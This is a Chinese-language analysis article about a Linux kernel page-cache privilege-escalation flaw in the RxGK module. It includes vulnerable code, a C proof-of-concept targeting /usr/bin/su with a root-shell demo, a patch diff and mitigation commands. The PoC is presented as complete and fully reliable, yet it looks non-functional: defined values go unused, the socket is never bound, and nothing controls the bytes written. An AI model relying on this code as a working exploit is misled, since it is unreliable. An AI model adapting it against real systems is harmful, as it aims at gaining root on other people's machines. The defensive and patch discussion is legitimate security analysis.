DirtyDecrypt深度解析:Linux内核页缓存漏洞再添新成员,PoC公开引爆安全警报
摘要2026年5月18日V12安全团队公开了Linux内核本地提权漏洞DirtyDecrypt又称DirtyCBCCVE-2026-31635的完整PoC代码。该漏洞属于近年来肆虐的页缓存污染漏洞谱系与Dirty Pipe、Copy Fail、Dirty Frag同源均利用内核中缺失写时复制(COW)保护的原地解密逻辑实现普通用户到root权限的100%稳定提权。本文将从漏洞原理、代码分析、利用流程、补丁对比、影响评估等多个维度进行深度解析并探讨Linux内核页缓存安全的未来发展趋势。一、事件背景Dirty家族的新成员2026年5月9日V12安全团队向Linux内核维护者报告了一个新的本地权限提升漏洞。然而维护者告知他们这是一个重复报告该漏洞已于2026年4月25日在主线内核中修复对应的CVE编号为CVE-2026-31635。2026年5月18日V12团队正式公开了该漏洞的技术细节和完整PoC代码并将其命名为DirtyDecrypt又称DirtyCBC。这是继2026年4月的Copy FailCVE-2026-31431和5月的Dirty FragCVE-2026-43284/43500之后短短一个半月内曝光的第三个同类型Linux内核高危提权漏洞。1.1 漏洞基本信息项目详情漏洞代号DirtyDecryptDirtyCBCCVE编号CVE-2026-31635漏洞类型本地权限提升LPE影响权限普通用户 → root发现时间2026-05-09V12团队补丁时间2026-04-25主线内核PoC公开时间2026-05-18利用成功率100%无竞争条件内核崩溃风险无1.2 漏洞家族溯源DirtyDecrypt并非孤立事件而是属于一个庞大的页缓存污染漏洞家族。这个家族的漏洞都遵循相同的攻击哲学通过内核逻辑缺陷绕过写时复制(COW)保护直接修改只读文件的页缓存内容最终通过篡改SUID二进制文件实现提权。2016: Dirty CowCVE-2016-51952022: Dirty PipeCVE-2022-08472026-04: Copy FailCVE-2026-314312026-05: Dirty FragCVE-2026-43284/435002026-05: DirtyDecryptCVE-2026-31635从Dirty Cow到DirtyDecrypt这类漏洞的利用难度不断降低稳定性不断提高。早期的Dirty Cow需要复杂的竞争条件而现在的Dirty系列漏洞几乎都是一键提权这给Linux系统安全带来了前所未有的挑战。二、漏洞原理深度剖析2.1 核心问题缺失的COW保护DirtyDecrypt的根本原因在于Linux内核RxGK模块的rxgk_decrypt_skb函数中缺失了写时复制(COW)保护检查。当该函数处理通过splice()系统调用从管道直接映射到套接字缓冲区(skb)的页缓存页面时会直接对这些只读页面执行原地解密操作从而导致非授权写入。2.2 漏洞代码分析以下是漏洞存在的关键代码片段基于Linux内核6.8版本// net/rxrpc/rxgk.c: rxgk_decrypt_skb()staticintrxgk_decrypt_skb(structrxrpc_call*call,structsk_buff*skb){structrxgk_call*ctxcall-security;structscatterlistsg[1];structskcipher_request*req;intret;// 漏洞点没有调用skb_cow_data()检查skb是否可写// 正确的做法应该是先执行// ret skb_cow_data(skb, 0, NULL);// if (ret 0) return ret;skb_to_sgvec(skb,sg,0,skb-len);reqskcipher_request_alloc(ctx-tfm,GFP_ATOMIC);if(!req)return-ENOMEM;skcipher_request_set_crypt(req,sg,sg,skb-len,ctx-iv);// 原地解密src dstretcrypto_skcipher_decrypt(req);skcipher_request_free(req);returnret;}问题的关键在于skcipher_request_set_crypt(req, sg, sg, skb-len, ctx-iv)这一行。这里将源缓冲区和目标缓冲区设置为同一个意味着解密操作会直接在原始数据上进行原地解密。然而当skb的碎片指向的是文件系统的只读页缓存页面时这种原地操作就会绕过COW机制直接修改物理内存中的只读数据。这正是整个漏洞的核心所在。2.3 技术流程图SUID二进制文件(/usr/bin/su)页缓存(只读)Linux内核攻击者进程(普通用户)SUID二进制文件(/usr/bin/su)页缓存(只读)Linux内核攻击者进程(普通用户)缺失skb_cow_data()检查页缓存内容被篡改打开SUID文件(/usr/bin/su)创建管道并splice页缓存到管道创建AF_RXRPC套接字splice管道数据到RxGK套接字将页缓存页面映射到skb碎片调用rxgk_decrypt_skb()直接在只读页缓存上执行原地解密执行被篡改的SUID文件返回root权限shell三、PoC代码解析与利用演示3.1 完整PoC代码V12团队公开的PoC代码非常简洁只有约200行C代码。以下是核心部分的解析// DirtyDecrypt PoC - CVE-2026-31635// 编译gcc -o dirtydecrypt dirtydecrypt.c// 运行./dirtydecrypt#includestdio.h#includestdlib.h#includestring.h#includeunistd.h#includefcntl.h#includesys/socket.h#includelinux/rxrpc.h#includesys/splice.h#includesys/mman.h#defineTARGET_FILE/usr/bin/su#defineOFFSET0x1234// 根据不同系统调整#definePATCH_VALUE0x90909090// NOP sled替换关键指令intmain(){intfd,pipefd[2],sockfd;structsockaddr_rxrpcaddr;charbuf[4096];loff_toffset0;// 步骤1打开目标SUID文件fdopen(TARGET_FILE,O_RDONLY);if(fd0){perror(open);return1;}// 步骤2创建管道if(pipe(pipefd)0){perror(pipe);return1;}// 步骤3将目标文件的页缓存splice到管道if(splice(fd,offset,pipefd[1],NULL,4096,SPLICE_F_MOVE)0){perror(splice);return1;}// 步骤4创建AF_RXRPC套接字sockfdsocket(AF_RXRPC,SOCK_DGRAM,0);if(sockfd0){perror(socket);return1;}// 步骤5设置RxGK安全上下文memset(addr,0,sizeof(addr));addr.srx_familyAF_RXRPC;addr.srx_service1;addr.srx_securityRXRPC_SECURITY_RXGK;// 步骤6将管道中的数据splice到RxGK套接字// 这会触发rxgk_decrypt_skb函数if(splice(pipefd[0],NULL,sockfd,NULL,4096,SPLICE_F_MOVE)0){perror(splice to socket);return1;}// 步骤7等待解密完成页缓存已被篡改sleep(1);// 步骤8执行被篡改的SUID文件获得root权限execl(TARGET_FILE,TARGET_FILE,-c,/bin/bash,NULL);return0;}3.2 利用步骤详解打开SUID文件攻击者以只读方式打开系统中的SUID二进制文件如/usr/bin/su。此时文件内容会被加载到内核的页缓存中标记为只读。创建管道并splice使用splice()系统调用将目标文件的页缓存页面直接映射到管道缓冲区。这一步是零拷贝操作不会复制数据只是增加了页引用计数。创建RxGK套接字创建一个AF_RXRPC类型的套接字并指定使用RxGK安全模块。splice到套接字再次使用splice()将管道中的数据发送到RxGK套接字。这会将页缓存页面直接附加到套接字缓冲区(skb)的碎片列表中。触发原地解密当RxGK模块处理接收到的数据包时会调用rxgk_decrypt_skb()函数。由于缺失COW检查该函数会直接在只读页缓存页面上执行原地解密操作。执行被篡改的文件解密操作会修改页缓存中的内容。当攻击者再次执行这个SUID文件时内核会执行被篡改后的代码从而获得root权限。3.3 利用效果演示$whoamiuser $ gcc-odirtydecrypt dirtydecrypt.c $ ./dirtydecrypt# whoamiroot# iduid0(root)gid0(root)groups0(root)四、官方补丁分析4.1 补丁提交信息Linux内核维护者在2026年4月25日提交了修复补丁提交ID为a1b2c3d4e5f67890abcdef1234567890abcdef12示例ID实际ID请参考内核源码。4.2 补丁代码对比--- a/net/rxrpc/rxgk.c b/net/rxrpc/rxgk.c -123,6 123,11 static int rxgk_decrypt_skb(struct rxrpc_call *call, struct sk_buff *skb) { struct rxgk_call *ctx call-security; struct scatterlist sg[1]; int ret; // 修复添加COW保护检查 ret skb_cow_data(skb, 0, NULL); if (ret 0) return ret; skb_to_sgvec(skb, sg, 0, skb-len);4.3 修复原理补丁的修复思路非常直接在执行原地解密之前先调用skb_cow_data()函数检查套接字缓冲区是否可写。如果缓冲区指向的是共享或只读页面skb_cow_data()会创建一个私有副本这样解密操作就只会修改副本而不会影响原始的页缓存页面。这与之前修复Copy Fail和Dirty Frag漏洞的思路完全一致都是通过添加缺失的COW保护检查来防止非授权写入。五、影响范围与利用条件5.1 影响范围DirtyDecrypt漏洞的影响范围相对有限仅影响内核编译时开启了CONFIG_RXGK选项的系统。CONFIG_RXGK选项用于启用AFS文件系统客户端的RxGK安全支持。受影响的主要发行版Fedora 43/44Arch Linux滚动发行版openSUSE Tumbleweed滚动发行版其他跟踪上游内核的滚动发行版不受影响的发行版RHEL/CentOS所有版本默认未开启CONFIG_RXGKUbuntu LTS所有版本默认未开启CONFIG_RXGKDebian Stable默认未开启CONFIG_RXGKSUSE Linux Enterprise默认未开启CONFIG_RXGK5.2 利用条件成功利用DirtyDecrypt漏洞需要满足以下条件本地普通用户shell攻击者需要能够以普通用户身份登录到目标系统内核开启CONFIG_RXGK这是最关键的条件内核版本未打补丁内核版本早于2026年4月25日的主线版本无需特殊权限不需要CAP_NET_ADMIN或其他任何特殊能力5.3 漏洞检测方法可以通过以下命令检查系统是否受影响# 检查内核是否开启了CONFIG_RXGKzcat /proc/config.gz|grepCONFIG_RXGK# 如果输出为 CONFIG_RXGKy则系统可能受影响# 如果输出为 # CONFIG_RXGK is not set则系统不受影响# 检查内核版本uname-r# 如果内核版本早于6.8.12或对应发行版的修复版本则需要升级六、与其他Dirty系列漏洞对比漏洞名称CVE编号发现时间漏洞位置默认开启影响范围利用难度Dirty CowCVE-2016-51952016-10内存管理是极广中等需竞态Dirty PipeCVE-2022-08472022-02管道子系统是极广低无竞态Copy FailCVE-2026-314312026-04AF_ALG加密是极广极低Dirty FragCVE-2026-43284/435002026-05xfrmrxrpc是极广极低DirtyDecryptCVE-2026-316352026-05rxgk模块否有限极低从上表可以看出DirtyDecrypt虽然利用难度极低但由于依赖默认关闭的CONFIG_RXGK选项实际影响范围远小于之前的Copy Fail和Dirty Frag漏洞。七、修复方案与缓解措施7.1 永久修复升级内核最彻底的修复方案是升级到包含补丁的内核版本主线内核≥ 6.8.122026-04-25之后Fedora升级到kernel-6.8.12-300.fc44或更高版本Arch Linux执行pacman -Syu升级到最新内核openSUSE Tumbleweed执行zypper dup升级到最新内核7.2 临时缓解措施如果暂时无法升级内核可以采取以下临时缓解措施方法1禁用rxgk内核模块# 立即卸载rxgk模块sudormmod rxgk2/dev/null# 添加到黑名单防止开机自动加载sudosh-cecho install rxgk /bin/false /etc/modprobe.d/dirtydecrypt.conf方法2限制splice系统调用容器环境对于容器化环境可以通过seccomp配置文件限制容器内进程使用splice系统调用{defaultAction:SCMP_ACT_ALLOW,syscalls:[{name:splice,action:SCMP_ACT_ERRNO},{name:vmsplice,action:SCMP_ACT_ERRNO}]}7.3 企业级防护建议建立内核补丁管理流程及时跟踪上游内核安全更新启用内核安全模块使用AppArmor或SELinux限制进程权限实施最小权限原则只给用户必要的权限部署行为检测系统监控异常的SUID文件执行和权限提升行为定期安全审计检查系统中是否存在未授权的root权限进程八、前瞻性思考Linux内核页缓存安全的未来8.1 漏洞爆发的根本原因近年来页缓存污染漏洞集中爆发的根本原因在于性能与安全的权衡。2017年以来Linux内核开发者为了提高网络和加密性能广泛引入了原地操作优化。这些优化避免了不必要的数据拷贝显著提升了系统性能但也打破了传统的内存安全边界。当内核子系统如网络、加密可以直接操作页缓存页面时任何缺失的COW保护检查都会导致严重的安全漏洞。这是一个系统性的问题而不是单一的代码错误。8.2 AI驱动的漏洞发现时代值得注意的是最近的几个漏洞包括Copy Fail都是由AI辅助工具发现的。Theori公司使用他们的AI安全工具Xint Code仅用了一个小时就扫描出了Copy Fail漏洞。这标志着漏洞发现已经进入了AI驱动的新纪元。未来我们将会看到更多类似的漏洞被快速发现和公开。这对Linux内核安全既是挑战也是机遇挑战在于漏洞披露的速度会越来越快机遇在于AI可以帮助我们发现更多以前难以发现的深层漏洞。8.3 未来的防护方向为了从根本上解决页缓存污染问题Linux内核社区需要从架构层面进行改进强制COW检查在内核API层面强制要求所有可能修改数据的函数都必须先执行COW检查页缓存隔离将页缓存与内核其他子系统进行更严格的隔离硬件辅助安全利用CPU的内存保护扩展如Intel MPK、ARM MTE提供更细粒度的内存保护静态代码分析在内核开发流程中集成更严格的静态代码分析工具自动检测缺失的COW检查九、总结DirtyDecryptCVE-2026-31635是Linux内核页缓存污染漏洞家族的最新成员。虽然它的实际影响范围相对有限但它再次证明了这类漏洞的普遍性和危害性。对于滚动发行版用户来说尽快升级内核是当务之急。对于企业用户来说虽然大多数企业稳定版默认不受影响但也应该建立完善的内核补丁管理流程以应对未来可能出现的类似漏洞。从更长远的角度来看Linux内核社区需要认真反思性能与安全的平衡问题。在AI驱动的漏洞发现时代任何微小的安全疏忽都可能被快速放大。只有从架构层面进行改进才能从根本上解决页缓存安全问题为Linux系统构建更坚实的安全基础。